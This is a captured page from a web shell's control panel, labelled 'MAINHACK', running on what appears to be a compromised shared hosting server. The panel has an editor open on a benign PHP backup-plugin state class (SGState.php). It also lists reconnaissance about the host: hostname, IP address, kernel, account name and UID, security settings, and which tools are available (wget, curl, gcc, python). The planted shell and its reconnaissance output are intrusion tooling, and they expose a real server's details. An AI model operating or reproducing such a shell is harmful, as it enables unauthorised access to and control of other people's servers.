[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SGState.php
<?php require_once(SG_LIB_PATH.'SGFileState.php'); require_once(SG_LIB_PATH.'SGDBState.php'); require_once(SG_LIB_PATH.'SGUploadState.php'); require_once(SG_LIB_PATH.'SGMigrateState.php'); class SGState { protected $inprogress = false; protected $type = ''; protected $token = ''; protected $action = ''; protected $actionId = null; protected $actionStartTs = 0; protected $backupFileName = ''; protected $backupFilePath = ''; protected $progress = 0; protected $warningsFound = false; protected $pendingStorageUploads = array(); protected $restoreMode = ''; protected $restoreFiles = array(); protected $offset = 0; function __construct() { } public function setInprogress($inprogress) { $this->inprogress = $inprogress; } public function setToken($token) { $this->token = $token; } public function setAction($action) { $this->action = $action; } public function setType($type) { $this->type = $type; } public function setActionId($actionId) { $this->actionId = $actionId; } public function setActionStartTs($actionStartTs) { $this->actionStartTs = $actionStartTs; } public function setBackupFileName($name) { $this->backupFileName = $name; } public function setBackupFilePath($backupFilePath) { $this->backupFilePath = $backupFilePath; } public function setProgress($progress) { $this->progress = $progress; } public function setWarningsFound($warningsFound) { $this->warningsFound = $warningsFound; } public function setRestoreFiles($restoreFiles) { $this->restoreFiles = $restoreFiles; } public function setPendingStorageUploads($pendingStorageUploads) { $this->pendingStorageUploads = $pendingStorageUploads; } public function setRestoreMode($mode){ $this->restoreMode = $mode; } public function getRestoreMode(){ return $this->restoreMode; } public function getInprogress() { return $this->inprogress; } public function getToken() { return $this->token; } public function getAction() { return $this->action; } public function getType() { return $this->type; } public function getActionId() { return $this->actionId; } public function getActionStartTs() { return $this->actionStartTs; } public function getBackupFileName() { return $this->backupFileName; } public function getBackupFilePath() { return $this->backupFilePath; } public function getProgress() { return $this->progress; } public function getWarningsFound() { return $this->warningsFound; } public function getRestoreFiles() { return $this->restoreFiles; } public function getPendingStorageUploads() { return $this->pendingStorageUploads; } public function setOffset($offset) { $this->offset = $offset; } public function getOffset() { return $this->offset; } public function factory($stateJson) { $stateJson = json_decode($stateJson, true); $type = $stateJson['type']; if ($type == SG_STATE_TYPE_FILE) { $sgState = new SGFileState(); } else if ($type == SG_STATE_TYPE_UPLOAD) { $sgState = new SGUploadState(); } else if ($type == SG_STATE_TYPE_MIGRATE) { $sgState = new SGMigrateState(); } else { $sgState = new SGDBState(); } $sgState = $sgState->init($stateJson); return $sgState; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.52 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830